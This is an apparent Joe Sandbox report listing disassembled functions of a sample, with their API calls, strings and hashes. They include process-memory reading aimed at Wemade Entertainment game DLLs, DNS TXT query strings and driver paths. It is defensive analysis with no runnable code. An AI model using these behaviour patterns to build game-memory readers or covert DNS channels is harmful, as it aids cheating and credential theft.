Instruction ID: 6a8cc3baa1ff40bf1cc9c42df09b62fb2c596e1f309fbcbf1a631c679bda69fe
Opcode Fuzzy Hash: 9bf002bb6c9711285e1372773dc16e11a08500103827f3286faedd99a9e57e43
Instruction Fuzzy Hash: 8841D030694B00AFE7307F28880976676E4EB00750F258E99D0F6AB9D0EA65E442A759

Function 6251C6A0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 252synchronizationCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6251C6CE

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

_memset.LIBCMT ref: 6251C6FE
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,6251A84F,?,?,?,?,6251A96D), ref: 6251C70E
WaitForSingleObject.KERNEL32(?,00007530,?,?,?,00000000,6251A84F,?,?,?,?,6251A96D), ref: 6251C7F9

Strings

&type=TXT, xrefs: 6251C772
&type=A, xrefs: 6251C769

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AllocCreateEventHeapObjectSingleWait_malloc_memset
String ID: &type=A$&type=TXT
API String ID: 2881288967-2485464723
Opcode ID: d993ef372e2c68b8b06c47da43af0a086372a381b2a8ee9b8e4da60aae66b459
Instruction ID: 4f7401dd8bebc1165197126af80c93ec1d0cdd961200117b8df7626853dcc5c9
Opcode Fuzzy Hash: d993ef372e2c68b8b06c47da43af0a086372a381b2a8ee9b8e4da60aae66b459
Instruction Fuzzy Hash: D891E4716487019FE324CF28CCA8B66B7E4FF85724F14462CE8969B2D0DB75E905CB92

Function 625326B0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 207COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 625326DF
_memset.LIBCMT ref: 625326FE
_memset.LIBCMT ref: 6253271D

Part of subcall function 6252FA60: _memset.LIBCMT ref: 6252FA8E

Part of subcall function 62531CA0: ReadProcessMemory.KERNEL32 ref: 62531D1C
Part of subcall function 62531CA0: CloseHandle.KERNEL32(00000000), ref: 62532221

Part of subcall function 6252D870: _memset.LIBCMT ref: 6252D8F4
Part of subcall function 6252D870: CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 6252D906
Part of subcall function 6252D870: Module32First.KERNEL32 ref: 6252D920
Part of subcall function 6252D870: Module32Next.KERNEL32(00000000,?), ref: 6252D979
Part of subcall function 6252D870: CloseHandle.KERNEL32(00000000), ref: 6252D983

Part of subcall function 6252D870: CloseHandle.KERNEL32(00000000,?,?,?,?,00000008,?), ref: 6252D9D7

Part of subcall function 62532510: _memset.LIBCMT ref: 6253253A

Part of subcall function 625308D0: _memset.LIBCMT ref: 625308F6
Part of subcall function 625308D0: _memset.LIBCMT ref: 6253093A

Part of subcall function 62532440: _memset.LIBCMT ref: 6253248B
Part of subcall function 62532440: ReadProcessMemory.KERNEL32 ref: 625324B9
Part of subcall function 62532440: CloseHandle.KERNEL32(00000000), ref: 625324E8

Strings

Bass.dll, xrefs: 625327B6
Wemade Entertainment, xrefs: 6253274F, 62532760, 62532765
Plug.dll, xrefs: 625327CC
Defense.dll, xrefs: 625327E2
CDClient.dll, xrefs: 62532827

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$CloseHandle$MemoryModule32ProcessRead$CreateFirstNextSnapshotToolhelp32
String ID: Bass.dll$CDClient.dll$Defense.dll$Plug.dll$Wemade Entertainment
API String ID: 3308528819-2843158820
Opcode ID: f34fc77890705e3904b5703881e2dc417cef31bb95b3508ff5dbe114ceb7dfb4
Instruction ID: 9ef8d9a719d9c6986b2f8765b3c0fb1e55184a3f577200eb5dbae7071b74d315
Opcode Fuzzy Hash: f34fc77890705e3904b5703881e2dc417cef31bb95b3508ff5dbe114ceb7dfb4
Instruction Fuzzy Hash: F951B376A0421417F6769675EC22BABB7DC5FD4358F842439ED0EC2282FB25EA1881D2

Function 62514640 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 97filetimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00000000,00000000), ref: 625146C1
GetCurrentProcessId.KERNEL32 ref: 625146C7
_sprintf.LIBCMT ref: 625146F0

Part of subcall function 62533E30: _memset.LIBCMT ref: 62533E65
Part of subcall function 62533E30: _sprintf.LIBCMT ref: 62533E7B

OpenFileMappingA.KERNEL32(000F001F,00000000,?), ref: 62514711
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,?), ref: 62514738
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 6251474A

Strings

%d-{%d}-%d, xrefs: 625146EA
TH_MAP_DATA, xrefs: 625146AB

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: File$Mapping_sprintf$CreateCurrentLocalOpenProcessTimeView_memset
String ID: %d-{%d}-%d$TH_MAP_DATA
API String ID: 626235581-1469962609
Opcode ID: c301236d46d3f0b4e2a94bb42127582b8c69cbdece0e1dd8d794b68b47129c66
Instruction ID: 15366289d7f432bc464ca8fe0b341748d10edf33363f3f4464dbcbd47a4fbcd9
Opcode Fuzzy Hash: c301236d46d3f0b4e2a94bb42127582b8c69cbdece0e1dd8d794b68b47129c66
Instruction Fuzzy Hash: 4B3159B06483819FD7A4CF28C854B6BBBF5AF8A704F04592EF589D7291E7709508CB16

Function 62514780 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 63fileCOMMON

Download Yara Rule

APIs

OpenFileMappingA.KERNEL32(000F001F,00000000,?), ref: 625147DE
__wfopen_s.LIBCMT ref: 625147F7
OutputDebugStringA.KERNEL32(OpenFileMapping failed,771B0F00,?,?,?,?,?,?,?,?,?,?,62514885,?,00000000,?), ref: 62514811
OutputDebugStringA.KERNEL32(6256E1DC,?,?,?,?,?,?,?,?,?,?,62514885,?,00000000,?,?), ref: 62514818
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,?,?,?,?,?,62514885,?,00000000,?), ref: 62514843

Strings

C:\pl.txt, xrefs: 625147F1
OpenFileMapping failed, xrefs: 6251480C
TH_MAP_DATA, xrefs: 625147C1

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugFileOutputString$MappingOpenView__wfopen_s
String ID: C:\pl.txt$OpenFileMapping failed$TH_MAP_DATA
API String ID: 3806545002-2707373594
Opcode ID: f4a80b85087c1f6efb52c46ae2560c1067d5a393a153aea955437afb9c499e5d
Instruction ID: 66a465dd514b2fb48850ca685a2f637e03c57ab213a3a22cd1cccee69a72dd29
Opcode Fuzzy Hash: f4a80b85087c1f6efb52c46ae2560c1067d5a393a153aea955437afb9c499e5d
Instruction Fuzzy Hash: 18215E70A49310AFD764DF28CC51B2ABBE1AF8DB04F45482EF949D7281EA34D904DB83

Function 6252AA90 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6252AAF2

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

Strings

%1s, xrefs: 6252ABA5

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AllocHeap_malloc
String ID: %1s
API String ID: 3293231637-3465968173
Opcode ID: daf04f70b372a250d147cff2616993685c8035475399cd75e6d5f89a126bde40
Instruction ID: 4d6b3e8c769a9619f61ef5d280245076de5897905ece0bba5931aba2b8adac14
Opcode Fuzzy Hash: daf04f70b372a250d147cff2616993685c8035475399cd75e6d5f89a126bde40
Instruction Fuzzy Hash: A961F7B19093455BD730DF74C860A9BB7A9AFC5318F00192AE889973C1EB35E945C7E3

Function 0BB7FDC8 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0BB80093,?,?,00000000,00000000), ref: 0BB7FDFE

Part of subcall function 0BB7E548: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0BB7E566

Strings

:mm:ss, xrefs: 0BB8004E
AMPM, xrefs: 0BB80012
m/d/yy, xrefs: 0BB7FECD
AMPM , xrefs: 0BB80021
mmmm d, yyyy, xrefs: 0BB7FEFA
:mm, xrefs: 0BB80031

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 647d97d0c15deb1cd7fe56c195708b7e5d7a6c05ba51e8c3f0f2376a3e3ad26a
Instruction ID: 3f997f712e07122c146110e4e62626b905ed36f0d1be007f873e526bae8d568b
Opcode Fuzzy Hash: 647d97d0c15deb1cd7fe56c195708b7e5d7a6c05ba51e8c3f0f2376a3e3ad26a
Instruction Fuzzy Hash: F061623178014C9FEB01FBB8D852A9E77BADF89240F9094F5E120AB345EA39DD09D761

Function 0BB82720 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0BB827B9
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0BB827D5
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0BB8280E
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0BB8289A
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0BB828B9
VariantCopy.OLEAUT32(?), ref: 0BB828EE

Strings

, xrefs: 0BB8273A

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 41d3dcf17b7d2dbea94fde99f5d569808b75846182f44e7d2c0927f439d76e54
Instruction ID: d2e24c20112692a473cfbe05b737b65eb3468b189e18dd41c2f1db9673dd82a1
Opcode Fuzzy Hash: 41d3dcf17b7d2dbea94fde99f5d569808b75846182f44e7d2c0927f439d76e54
Instruction Fuzzy Hash: 2351C679A012299FCB66FB59CC91BD9B3FCAF4C200F4441E5E608A7211DA34AF85CF64

Function 62542285 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 115threadwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 625421E5: GetParent.USER32(?), ref: 62542239
Part of subcall function 625421E5: GetLastActivePopup.USER32(?), ref: 6254224A
Part of subcall function 625421E5: IsWindowEnabled.USER32(?), ref: 6254225E
Part of subcall function 625421E5: EnableWindow.USER32(?,00000000), ref: 62542271

EnableWindow.USER32(?,00000001), ref: 625422D2
GetWindowThreadProcessId.USER32(?,?), ref: 625422E6
GetCurrentProcessId.KERNEL32(?,?), ref: 625422F0
SendMessageA.USER32(?,00000376,00000000,00000000), ref: 62542308
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,?), ref: 62542382
EnableWindow.USER32(00000000,00000001), ref: 625423C7

Strings

0, xrefs: 6254235D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID: 0
API String ID: 1877664794-4108050209
Opcode ID: 0977354e258f59fb443dc4f99fc101c792a9b17bde356eabdba130f233af05ac
Instruction ID: fd9c3d145ae87f344f9973015f01904dca3168f71b5f59f5327f477a9cbd61d5
Opcode Fuzzy Hash: 0977354e258f59fb443dc4f99fc101c792a9b17bde356eabdba130f233af05ac
Instruction Fuzzy Hash: B34192319503389BDB318F29CC55BEABBB8AF45718F100598EA55E7680DB70DE80CF90

Function 62518060 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 62518091
_memset.LIBCMT ref: 625180AB
_memset.LIBCMT ref: 625180C5
GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 625180E3
wsprintfA.USER32 ref: 62518123

Strings

%s\SysWOW64\%s.sys, xrefs: 62518116
%s\system32\%s.sys, xrefs: 6251811D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$DirectoryWindowswsprintf
String ID: %s\SysWOW64\%s.sys$%s\system32\%s.sys
API String ID: 428530437-2838335804
Opcode ID: 31103dba8d5ed9fbebd8cb6c61308325523ab5c6b286ae4c01868a718c873a34
Instruction ID: a69ce5a7fedcce6dcc2542cc7e4a1a8cbedbcbd91ad6793e6a301302a633411e
Opcode Fuzzy Hash: 31103dba8d5ed9fbebd8cb6c61308325523ab5c6b286ae4c01868a718c873a34
Instruction Fuzzy Hash: D721A57254C3406BF330DA68C869FEBB7D9AFC6344F44092DA95D82151EB749D1887A3

Function 0BB74A3C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,0BB74B06,?,?,?,?,00000002,0BB74BB2,0BB72F57,0BB72F9F), ref: 0BB74A75
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,0BB74B06,?,?,?,?,00000002,0BB74BB2,0BB72F57,0BB72F9F), ref: 0BB74A7B
GetStdHandle.KERNEL32(000000F5,0BB74AC4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,0BB74B06), ref: 0BB74A90
WriteFile.KERNEL32(00000000,000000F5,0BB74AC4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,0BB74B06), ref: 0BB74A96
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 0BB74AB4

Strings

Runtime error at 00000000, xrefs: 0BB74A6E, 0BB74AAD
Error, xrefs: 0BB74AA8

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
